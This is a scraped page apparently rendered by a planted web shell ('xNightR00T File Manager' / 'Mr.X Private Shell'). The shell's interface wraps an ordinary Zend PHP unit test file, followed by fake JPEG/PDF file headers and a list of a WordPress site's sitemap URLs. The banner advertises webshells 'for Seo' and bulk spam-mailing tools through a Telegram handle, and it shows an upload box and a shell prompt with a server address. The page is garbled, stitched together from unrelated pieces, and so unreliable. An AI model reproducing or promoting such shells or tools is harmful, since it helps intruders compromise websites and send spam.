xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Zsd;

use ZendServer\PHPUnit\TestCase;
use Zend\Session\SessionManager;
use Zend\Session\Storage\ArrayStorage;

require_once 'tests/bootstrap.php';

/**
 * ZsdHealthChecker test case.
 */
class ZsdHealthCheckerTest extends TestCase
{
    /**
     *
     * @var ZsdHealthChecker
     */
    private $ZsdHealthChecker;

    public function testCheckZsdHealthNotSingleServer()
    {
        $now = time();

        $edition = $this->getMock('ZendServer\Edition');
        $edition->expects($this->any())
            ->method('isSingleServer')
            ->will($this->returnValue(false));

        $this->ZsdHealthChecker->setEdition($edition);

        // zsd value doesn't matter
        self::assertTrue($this->ZsdHealthChecker->checkZsdHealth(false));
        self::assertTrue($this->ZsdHealthChecker->checkZsdHealth(true));
    }

    public function testCheckZsdHealthZsdLastUpdatedNull()
    {
        $now = time();

        $edition = $this->getMock('ZendServer\Edition');
        $edition->expects($this->any())
            ->method('isSingleServer')
            ->will($this->returnValue(true));

        $this->ZsdHealthChecker->setEdition($edition);

        $edition->expects($this->any())
            ->method('getServerId')
            ->will($this->returnValue(0));

        $serversMapper = $this->ZsdHealthChecker->getServersMapper();
        $serversMapper->expects($this->any())
            ->method('getZsdLastUpdated')
            ->will($this->returnValue(null));

        self::assertFalse($this->ZsdHealthChecker->checkZsdHealth(false));
        self::assertFalse($this->ZsdHealthChecker->checkZsdHealth(true));
    }

    public function testCheckZsdHealthAllTimestampsNow()
    {
        $now = time();

        $edition = $this->getMock('ZendServer\Edition');
        $edition->expects($this->any())
            ->method('isSingleServer')
            ->will($this->returnValue(true));

        $this->ZsdHealthChecker->setEdition($edition);

        $serversMapper = $this->ZsdHealthChecker->getServersMapper();
        $serversMapper->expects($this->any())
            ->method('getZsdLastUpdated')
            ->will($this->returnValue($now));

        $edition->expects($this->any())
            ->method('getServerId')
            ->will($this->returnValue(0));

        $this->ZsdHealthChecker->getSessionStorage()->setPhpTimeStamp($now);
        $this->ZsdHealthChecker->getSessionStorage()->setZsdTimeStamp($now);

        self::assertEquals(null, $this->ZsdHealthChecker->checkZsdHealth(false));
        self::assertFalse($this->ZsdHealthChecker->checkZsdHealth(true));
    }

    public function testCheckZsdHealthNoStoredTimestampsZsdDown()
    {
        $now = time();

        $edition = $this->getMock('ZendServer\Edition');
        $edition->expects($this->any())
            ->method('isSingleServer')
            ->will($this->returnValue(true));

        $this->ZsdHealthChecker->setEdition($edition);

        $serversMapper = $this->ZsdHealthChecker->getServersMapper();
        $serversMapper->expects($this->any())
            ->method('getZsdLastUpdated')
            ->will($this->returnValue($now - 1));

        $edition->expects($this->any())
            ->method('getServerId')
            ->will($this->returnValue(0));

        $this->ZsdHealthChecker->getSessionStorage()->setPhpTimeStamp(0);
        $this->ZsdHealthChecker->getSessionStorage()->setZsdTimeStamp(0);

        self::assertEquals(null, $this->ZsdHealthChecker->checkZsdHealth(true));

        // stored now into session
        self::assertGreaterThan(0, $this->ZsdHealthChecker->getSessionStorage()->getPhpTimeStamp());
        self::assertGreaterThan(0, $this->ZsdHealthChecker->getSessionStorage()->getZsdTimeStamp());
    }

    public function testCheckZsdHealthNoStoredTimestamps()
    {
        $now = time();

        $edition = $this->getMock('ZendServer\Edition');
        $edition->expects($this->any())
            ->method('isSingleServer')
            ->will($this->returnValue(true));

        $this->ZsdHealthChecker->setEdition($edition);

        $serversMapper = $this->ZsdHealthChecker->getServersMapper();
        $serversMapper->expects($this->any())
            ->method('getZsdLastUpdated')
            ->will($this->returnValue($now - 1));

        $edition->expects($this->any())
            ->method('getServerId')
            ->will($this->returnValue(0));

        $this->ZsdHealthChecker->getSessionStorage()->setPhpTimeStamp(0);
        $this->ZsdHealthChecker->getSessionStorage()->setZsdTimeStamp(0);

        self::assertEquals(null, $this->ZsdHealthChecker->checkZsdHealth(false));

        // stored now into session
        self::assertGreaterThan(0, $this->ZsdHealthChecker->getSessionStorage()->getPhpTimeStamp());
        self::assertGreaterThan(0, $this->ZsdHealthChecker->getSessionStorage()->getZsdTimeStamp());
    }

    public function testCheckZsdHealthLastZsdUpdate1SecondAgo()
    {
        $now = time();

        $edition = $this->getMock('ZendServer\Edition');
        $edition->expects($this->any())
            ->method('isSingleServer')
            ->will($this->returnValue(true));

        $this->ZsdHealthChecker->setEdition($edition);

        $serversMapper = $this->ZsdHealthChecker->getServersMapper();
        $serversMapper->expects($this->any())
            ->method('getZsdLastUpdated')
            ->will($this->returnValue($now - 1));

        $edition->expects($this->any())
            ->method('getServerId')
            ->will($this->returnValue(0));

        $this->ZsdHealthChecker->getSessionStorage()->setPhpTimeStamp($now);
        $this->ZsdHealthChecker->getSessionStorage()->setZsdTimeStamp($now);

        self::assertEquals(null, $this->ZsdHealthChecker->checkZsdHealth(false));
        self::assertTrue($this->ZsdHealthChecker->checkZsdHealth(true));
    }

    public function testCheckZsdHealthLastZsdUpdate11SecondAgo()
    {
        $now = time();

        $edition = $this->getMock('ZendServer\Edition');
        $edition->expects($this->any())
            ->method('isSingleServer')
            ->will($this->returnValue(true));

        $this->ZsdHealthChecker->setEdition($edition);

        $serversMapper = $this->ZsdHealthChecker->getServersMapper();
        $serversMapper->expects($this->any())
            ->method('getZsdLastUpdated')
            ->will($this->returnValue($now - 11));

        $edition->expects($this->any())
            ->method('getServerId')
            ->will($this->returnValue(0));

        $this->ZsdHealthChecker->getSessionStorage()->setPhpTimeStamp($now);
        $this->ZsdHealthChecker->getSessionStorage()->setZsdTimeStamp($now);

        self::assertEquals(null, $this->ZsdHealthChecker->checkZsdHealth(false));
        self::assertTrue($this->ZsdHealthChecker->checkZsdHealth(true));
    }

    /**
     * Prepares the environment before running a test.
     */
    protected function setUp()
    {
        parent::setUp();

        $this->ZsdHealthChecker = new ZsdHealthChecker();
        $this->ZsdHealthChecker->setServersMapper($this->getMock('Servers\Db\Mapper'));
        $storage                = new SessionStorage();
        $storage->setManager(new SessionManager(null, new ArrayStorage()));
        $this->ZsdHealthChecker->setSessionStorage($storage);
    }

    /**
     * Cleans up the environment after running a test.
     */
    protected function tearDown()
    {
        $this->ZsdHealthChecker = null;

        parent::tearDown();
    }
}

Filemanager

Name Type Size Permission Actions
Db Folder 0755
ZsdHealthCheckerTest.php File 7.35 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml